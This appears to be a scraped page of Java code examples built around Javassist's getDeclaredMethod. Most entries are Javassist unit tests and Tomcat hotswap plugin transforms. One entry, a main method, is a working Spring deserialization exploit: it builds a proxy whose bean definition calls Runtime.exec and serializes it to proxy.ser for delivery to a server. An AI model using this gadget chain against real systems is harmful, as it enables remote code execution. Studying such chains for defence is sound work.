public void testRemoveAnnotatino() throws Exception {
    CtClass cc = sloader.get("test5.RemoveAnnotation");
    AnnotationsAttribute aa =
        (AnnotationsAttribute) cc.getClassFile().getAttribute(AnnotationsAttribute.invisibleTag);
    assertTrue(aa.removeAnnotation("test5.RemoveAnno1"));
    AttributeInfo ai = cc.getClassFile().removeAttribute(AnnotationsAttribute.invisibleTag);
    assertEquals(ai.getName(), AnnotationsAttribute.invisibleTag);

    CtMethod foo = cc.getDeclaredMethod("foo");
    AnnotationsAttribute aa2 =
        (AnnotationsAttribute) foo.getMethodInfo().getAttribute(AnnotationsAttribute.invisibleTag);
    assertTrue(aa2.removeAnnotation("test5.RemoveAnno1"));

    CtMethod bar = cc.getDeclaredMethod("bar");
    AnnotationsAttribute aa3 =
        (AnnotationsAttribute) bar.getMethodInfo().getAttribute(AnnotationsAttribute.invisibleTag);
    assertFalse(aa3.removeAnnotation("test5.RemoveAnno1"));
    assertTrue(aa3.removeAnnotation("test5.RemoveAnno2"));
    AttributeInfo ai2 = bar.getMethodInfo().removeAttribute(AnnotationsAttribute.invisibleTag);
    assertEquals(ai2.getName(), AnnotationsAttribute.invisibleTag);

    CtMethod run = cc.getDeclaredMethod("run");
    AttributeInfo ai3 = run.getMethodInfo().removeAttribute(AnnotationsAttribute.invisibleTag);
    assertNull(ai3);

    CtField baz = cc.getDeclaredField("baz");
    AttributeInfo ai4 = baz.getFieldInfo().removeAttribute(AnnotationsAttribute.invisibleTag);
    assertEquals(ai4.getName(), AnnotationsAttribute.invisibleTag);

    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(3, invoke(obj, "run"));
  }
Beispiel #2
0
  public void testInsertLocal() throws Exception {
    CtClass cc = sloader.get("test2.InsertLocal");
    CtMethod m1 = cc.getDeclaredMethod("foo");
    m1.insertBefore("{ i = s.length(); d = 0.14; }");
    m1.insertAfter("{ field = i; }");

    CtMethod m2 = cc.getDeclaredMethod("run2");
    m2.insertAt(22, "{ s = \"12\"; k = 5; }");

    CtMethod m3 = cc.getDeclaredMethod("run3");
    m3.instrument(
        new ExprEditor() {
          public void edit(NewExpr n) throws CannotCompileException {
            n.replace("{ i++; $_ = $proceed($$); }");
          }

          public void edit(FieldAccess f) throws CannotCompileException {
            f.replace("{ i++; $_ = $proceed($$); }");
          }

          public void edit(MethodCall m) throws CannotCompileException {
            m.replace("{ i++; $_ = $proceed($$); }");
          }
        });

    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(317, invoke(obj, "run"));
    assertEquals(7, invoke(obj, "run2"));
    assertEquals(3, invoke(obj, "run3"));
  }
Beispiel #3
0
 private void testRemove3(CtClass cc, String methodName) throws Exception {
   CtMethod m = cc.getDeclaredMethod(methodName);
   cc.removeMethod(m);
   try {
     CtMethod m2 = cc.getDeclaredMethod(methodName);
     fail("the removed method still exists");
   } catch (NotFoundException e) {
   }
 }
  public void test83StackmapWithArrayType() throws Exception {
    final CtClass ctClass = sloader.get("test5.StackmapWithArray83");
    final CtMethod method = ctClass.getDeclaredMethod("bytecodeVerifyError");
    method.addLocalVariable("test_localVariable", CtClass.intType);
    method.insertBefore("{ test_localVariable = 1; }");

    final CtMethod method2 = ctClass.getDeclaredMethod("bytecodeVerifyError2");
    method2.addLocalVariable("test_localVariable", CtClass.intType);
    method2.insertBefore("{ test_localVariable = 1; }");

    ctClass.writeFile();
    Object obj = make(ctClass.getName());
    assertEquals(1, invoke(obj, "run"));
  }
Beispiel #5
0
  public void testCodeGen() throws Exception {
    CtClass cc = sloader.get("test2.CodeGen");
    CtMethod m1 = cc.getDeclaredMethod("run");
    m1.insertBefore(
        "{ double d = true ? 1 : 0.1; "
            + "  d = d > 0.5 ? 0.0 : - 1.0; "
            + "  System.out.println(d); "
            + "  String s = \"foo\"; "
            + "  s = 1 + 2 + s + \"bar\"; "
            + "  s += \"poi\" + 3 + seven() + seven(\":\" + ' '); "
            + "  s += .14; "
            + "  msg = s; "
            + "  System.out.println(s); }");

    // recursive type check is done if $proceed is used.
    CtMethod m2 =
        CtNewMethod.make(
            "public int test() {"
                + "  String s = $proceed(\"int\" + (3 + 0.14)) + '.'; "
                + "  System.out.println(s); return s.length(); }",
            cc,
            "this",
            "seven");
    cc.addMethod(m2);
    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(19, invoke(obj, "run"));
    assertEquals(9, invoke(obj, "test"));
  }
Beispiel #6
0
  public void testNewArray() throws Exception {
    ExprEditor ed =
        new ExprEditor() {
          int dim[] = {1, 2, 2, 1, 2, 2, 3};
          int cdim[] = {1, 1, 2, 1, 1, 2, 2};
          int counter = 0;

          public void edit(NewArray expr) throws CannotCompileException {
            try {
              CtClass str = sloader.get("java.lang.String");
              if (counter < 3) assertEquals(str, expr.getComponentType());
              else assertEquals(CtClass.intType, expr.getComponentType());

              assertEquals(dim[counter], expr.getDimension());
              assertEquals(cdim[counter], expr.getCreatedDimensions());
              expr.replace("{ i += $1; $_ = $proceed($$); }");
              ++counter;
            } catch (NotFoundException e) {
              throw new CannotCompileException(e);
            }
          }
        };

    CtClass cc = sloader.get("test2.NewArray");
    CtMethod m1 = cc.getDeclaredMethod("foo");
    m1.instrument(ed);
    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(48, invoke(obj, "run"));
  }
 private void findAndRemoveMethod(CtClass ctClass, String methodName) throws NotFoundException {
   try {
     CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
     ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo());
   } catch (Exception e) {
   }
 }
 public void testJIRA241() throws Exception {
   CtClass cc = sloader.get("test5.JIRA241");
   CtMethod testMethod = cc.getDeclaredMethod("test");
   testMethod.insertAfter("System.out.println(\"inserted!\");");
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(10, invoke(obj, "run"));
 }
 public void testJIRA249() throws Exception {
   CtClass cc = sloader.get("test5.BoolTest");
   CtMethod testMethod = cc.getDeclaredMethod("test");
   testMethod.insertBefore("i = foo(true & true);");
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(1, invoke(obj, "run"));
 }
Beispiel #10
0
 public void testLocalVar() throws Exception {
   CtClass cc = sloader.get("test2.LocalVar");
   CtMethod m = cc.getDeclaredMethod("toString");
   m.addLocalVariable("var", CtClass.booleanType);
   m.insertBefore("{var = true; }");
   m.insertAfter("{if (var) hashCode(); }", false);
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(3, invoke(obj, "foo"));
 }
Beispiel #11
0
 public void testReplaceClassName() throws Exception {
   String oldName = "test2.ReplaceClassName2";
   String newName = "test2.ReplaceClassName3";
   CtClass cc = sloader.get("test2.ReplaceClassName");
   cc.replaceClassName(oldName, newName);
   cc.writeFile();
   CtClass cc2 = dloader.get(cc.getName());
   CtMethod m = cc2.getDeclaredMethod("foo");
   assertEquals(newName, m.getParameterTypes()[0].getName());
 }
Beispiel #12
0
 public void testAddLocalVar() throws Exception {
   CtClass cc = sloader.get("test2.AddLocalVar");
   CtMethod m1 = cc.getDeclaredMethod("foo");
   m1.addLocalVariable("i", CtClass.intType);
   m1.insertBefore("i = 3;");
   m1.insertAfter("$_ = i + 1;");
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(4, invoke(obj, "foo"));
 }
  private void findAndRemoveMethod(CtClass ctClass, CtField ctField, String className) {

    try {
      CtMethod ctMethod =
          ctClass.getDeclaredMethod(
              ctField.getName(), new CtClass[] {ctClass.getClassPool().get(className)});
      ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo());
    } catch (Exception e) {
    }
  }
Beispiel #14
0
  /**
   * Before actual webapp initialization starts in ContextHandler.doStart(), do some enhancements:
   *
   * <ul>
   *   <li>Initialize this plugin on the webapp classloader
   *   <li>Call plugin method initExtraPathClassLoader add urls and to start watching changed
   *       resources
   *   <li>Call plugin method registerExtraPathClassLoader to inject enhanced resource loader to the
   *       webapp classloader.
   * </ul>
   */
  @Transform(classNameRegexp = "org.apache.catalina.core.StandardContext")
  public static void patchStandardContext(CtClass ctClass)
      throws NotFoundException, CannotCompileException, ClassNotFoundException {
    try {
      // force disable caching
      ctClass.getDeclaredMethod("isCachingAllowed").setBody("return false;");
    } catch (NotFoundException e) {
      LOGGER.debug(
          "org.apache.catalina.core.StandardContext does not contain isCachingAllowed() method. Probably Ok.");
    }

    try {
      ctClass
          .getDeclaredMethod("stopInternal")
          .insertBefore(
              PluginManagerInvoker.buildCallCloseClassLoader("getLoader().getClassLoader()"));
    } catch (NotFoundException e) {
      LOGGER.debug(
          "org.apache.catalina.core.StandardContext does not contain stopInternal() method. Hotswap agent will not be able to free Tomcat plugin resources.");
    }
  }
Beispiel #15
0
 public void testSetExceptions() throws Exception {
   CtClass cc = sloader.get("test2.SetExceptions");
   CtMethod m = cc.getDeclaredMethod("f");
   CtClass ex = m.getExceptionTypes()[0];
   assertEquals("java.lang.Exception", ex.getName());
   m.setExceptionTypes(null);
   assertEquals(0, m.getExceptionTypes().length);
   m.setExceptionTypes(new CtClass[0]);
   assertEquals(0, m.getExceptionTypes().length);
   m.setExceptionTypes(new CtClass[] {ex});
   assertEquals(ex, m.getExceptionTypes()[0]);
 }
 public void testProceedToDefaultMethod() throws Exception {
   CtClass cc = ClassPool.getDefault().get("test5.ProceedDefault");
   CtMethod mth = cc.getDeclaredMethod("bar");
   mth.instrument(
       new ExprEditor() {
         public void edit(MethodCall c) throws CannotCompileException {
           c.replace("$_ = $proceed($$) + 10000;");
         }
       });
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(21713, invoke(obj, "run"));
 }
Beispiel #17
0
 public void testRemoveCall() throws Exception {
   CtClass cc = sloader.get("test2.RemoveCall");
   CtMethod m1 = cc.getDeclaredMethod("bar");
   m1.instrument(
       new ExprEditor() {
         public void edit(MethodCall m) throws CannotCompileException {
           m.replace("{ $_ = ($r)null; }");
         }
       });
   cc.writeFile();
   Object obj = make(cc.getName());
   assertEquals(0, invoke(obj, "bar"));
 }
Beispiel #18
0
 public void testSuperCall() throws Exception {
   CtClass cc = sloader.get("test2.SuperCall");
   CtMethod m1 = cc.getDeclaredMethod("foo");
   m1.instrument(
       new ExprEditor() {
         public void edit(MethodCall m) throws CannotCompileException {
           m.replace("{ $_ = $proceed($$); }");
         }
       });
   cc.writeFile();
   Object obj = make(cc.getName());
   invoke(obj, "bar");
 }
Beispiel #19
0
  public void testInsertAt() throws Exception {
    CtClass cc = sloader.get("test2.InsertAt");
    CtMethod m1 = cc.getDeclaredMethod("foo");
    int line = 6;
    int ln = m1.insertAt(line, false, null);
    int ln2 = m1.insertAt(line, "counter++;");
    assertEquals(ln, ln2);
    assertEquals(7, ln2);

    line = 8;
    ln = m1.insertAt(line, false, null);
    ln2 = m1.insertAt(line, "counter++;");
    assertEquals(ln, ln2);
    assertEquals(8, ln2);

    CtMethod m2 = cc.getDeclaredMethod("bar2");
    int ln3 = m2.insertAt(20, "{ int m = 13; j += m; }");
    assertEquals(20, ln3);

    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(7, invoke(obj, "foo"));
    assertEquals(25, invoke(obj, "bar"));
  }
Beispiel #20
0
  public void testNewExprInTry() throws Exception {
    ExprEditor ed =
        new ExprEditor() {
          public void edit(NewExpr expr) throws CannotCompileException {
            expr.replace("$_ = new test2.HashMapWrapper($1, 1);");
          }
        };

    CtClass cc = sloader.get("test2.NewExprInTry");
    CtMethod m1 = cc.getDeclaredMethod("foo");
    m1.instrument(ed);
    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(1, invoke(obj, "run"));
  }
Beispiel #21
0
  /** Init the plugin from start method. */
  @Transform(classNameRegexp = "org.apache.catalina.loader.WebappLoader")
  public static void patchWebappLoader(CtClass ctClass)
      throws NotFoundException, CannotCompileException, ClassNotFoundException {

    try {
      CtMethod startInternalMethod = ctClass.getDeclaredMethod("startInternal");
      // init the plugin
      String src = PluginManagerInvoker.buildInitializePlugin(TomcatPlugin.class, "classLoader");

      startInternalMethod.insertAfter(src);
    } catch (NotFoundException e) {
      LOGGER.warning(
          "org.apache.catalina.loader.WebappLoader does not contain startInternal method. Tomcat plugin will be disabled.\n"
              + "*** This is Ok, Tomcat plugin handles only special properties ***");
      return;
    }
  }
Beispiel #22
0
  public void testMethodCall() throws Exception {
    CtClass cc = sloader.get("test2.MethodCall");

    CtMethod m1 = cc.getDeclaredMethod("bar");
    m1.instrument(
        new ExprEditor() {
          public void edit(MethodCall m) throws CannotCompileException {
            if ("clone".equals(m.getMethodName())) methodCallData = m.getClassName();
          }
        });

    cc.writeFile();
    assertEquals("java.lang.String[]", methodCallData);

    assertEquals("java.lang.String[]", sloader.get("[Ljava/lang/String;").getName());
    assertEquals("int[][]", sloader.get("[[I").getName());
  }
Beispiel #23
0
  public void testNewExprTry() throws Exception {
    ExprEditor ed =
        new ExprEditor() {
          public void edit(NewExpr expr) throws CannotCompileException {
            StringBuffer code = new StringBuffer(300);
            code.append("{ try ");
            code.append("{ $_ = $proceed($$); }");
            code.append("catch (OutOfMemoryError e) {}}");
            expr.replace(code.toString());
          }
        };

    CtClass cc = sloader.get("test2.NewExprTry");
    CtMethod m1 = cc.getDeclaredMethod("foo");
    m1.instrument(ed);
    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(16, invoke(obj, "run"));
  }
  public void testJIRA242() throws Exception {
    Boolean ss = Boolean.valueOf(2 > 3);
    ClassPool cp = ClassPool.getDefault();
    CtClass cc = cp.get("test5.JIRA242$Hello");
    CtMethod m = cc.getDeclaredMethod("say");
    m.insertBefore("{ System.out.println(\"Say Hello...\"); }");

    StringBuilder sb = new StringBuilder();
    sb.append("BOOL_SERIES = createBooleanSeriesStep();");
    // Below code cause the issue
    sb.append("BOOL_SERIES.setValue(3>=3);"); // lets comment this and run it will work
    // Below code snippets will work
    // this cast into exact class and call the same function
    sb.append("((test5.JIRA242$BooleanDataSeries)BOOL_SERIES).setValue(3>=3);");
    // this code snippet will set exact boolean variable to the function.
    sb.append("boolean var = 3>=3;");
    sb.append("BOOL_SERIES.setValue(var);");

    m.insertBefore(sb.toString());
    cc.writeFile();
    Object obj = make(cc.getName());
    assertEquals(0, invoke(obj, "say"));
  }
  public static void main(String[] arguments) {

    // Get a DefaultListableBeanFactory modified so it has no writeReplace() method
    // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a
    // "attempted duplicate class definition for name" exception
    System.out.println(
        "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
    Object instrumentedFactory = null;
    ClassPool pool = ClassPool.getDefault();
    try {
      pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
      CtClass instrumentedClass =
          pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
      // Call setSerialVersionUID before modifying a class to maintain serialization compatability.
      SerialVersionUID.setSerialVersionUID(instrumentedClass);
      CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
      // method.insertBefore("{ System.out.println(\"TESTING\"); }");
      method.setName("writeReplaceDisabled");
      Class instrumentedFactoryClass = instrumentedClass.toClass();
      instrumentedFactory = instrumentedFactoryClass.newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }
    // Modified BeanFactory
    DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;

    // Create malicious bean definition programatically
    System.out.println("[+] Creating malicious bean definition programatically");

    // First we will set up a bean created with a factory method (instead of using the constructor)
    // that will return a java.lang.Runtime
    // Runtime or ProcessBuilder are not serializable so we cannot use them for the
    // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
    // these objects as the server will instantiate them
    GenericBeanDefinition runtime = new GenericBeanDefinition();
    runtime.setBeanClass(Runtime.class);
    runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static

    // Exploit bean to be registered in the bean factory as the target source
    GenericBeanDefinition payload = new GenericBeanDefinition();
    // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
    // and can't do that with the unserializable ConstructorArgumentValues
    payload.setBeanClass(MethodInvokingFactoryBean.class);
    payload.setScope("prototype");
    payload.getPropertyValues().add("targetObject", runtime);
    payload.getPropertyValues().add("targetMethod", "exec");
    payload
        .getPropertyValues()
        .add(
            "arguments",
            Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));

    beanFactory.registerBeanDefinition("exploit", payload);

    // Preparing BeanFactory to be serialized
    System.out.println("[+] Preparing BeanFactory to be serialized");
    System.out.println("[+] Nullifying non-serializable members");
    try {

      Field constructorArgumentValues =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues.setAccessible(true);
      constructorArgumentValues.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition constructorArgumentValues property should be null: "
              + payload.getConstructorArgumentValues());

      Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides.setAccessible(true);
      methodOverrides.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition methodOverrides property should be null: "
              + payload.getMethodOverrides());

      Field constructorArgumentValues2 =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues2.setAccessible(true);
      constructorArgumentValues2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition constructorArgumentValues property should be null: "
              + runtime.getConstructorArgumentValues());

      Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides2.setAccessible(true);
      methodOverrides2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition methodOverrides property should be null: "
              + runtime.getMethodOverrides());

      Field autowireCandidateResolver =
          DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
      autowireCandidateResolver.setAccessible(true);
      autowireCandidateResolver.set(beanFactory, null);
      System.out.println(
          "[+] BeanFactory autowireCandidateResolver property should be null: "
              + beanFactory.getAutowireCandidateResolver());

    } catch (Exception i) {
      i.printStackTrace();
      System.exit(-1);
    }

    // AbstractBeanFactoryBasedTargetSource
    System.out.println(
        "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
    SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
    targetSource.setTargetBeanName("exploit");
    targetSource.setBeanFactory(beanFactory);

    // JdkDynamicAopProxy (invocationhandler)
    System.out.println(
        "[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
    AdvisedSupport config = new AdvisedSupport();
    config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
    config.setTargetSource(targetSource);
    DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
    InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

    // Proxy
    System.out.println(
        "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
    Contact proxy =
        (Contact)
            Proxy.newProxyInstance(
                Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler);

    // System.out.println("[+] Trying exploit locally " + proxy.getName());

    // Now lets serialize the proxy
    System.out.println("[+] Serializating malicious proxy");
    try {
      FileOutputStream fileOut = new FileOutputStream("proxy.ser");
      ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
      outStream.writeObject(proxy);
      outStream.close();
      fileOut.close();
    } catch (IOException i) {
      i.printStackTrace();
    }
    System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
  }
Beispiel #26
0
 /**
  * Reads a class file and obtains a compile-time method.
  *
  * @param classname the class name
  * @param methodname the method name
  * @see CtClass#getDeclaredMethod(String)
  */
 public CtMethod getMethod(String classname, String methodname) throws NotFoundException {
   CtClass c = get(classname);
   return c.getDeclaredMethod(methodname);
 }
Beispiel #27
0
 public void testArrayAndNull() throws Exception {
   CtClass cc = sloader.get("test2.ArrayAndNull");
   CtMethod m = cc.getDeclaredMethod("test");
   m.insertAfter("if ($_ == null) $_ = new int[0];");
 }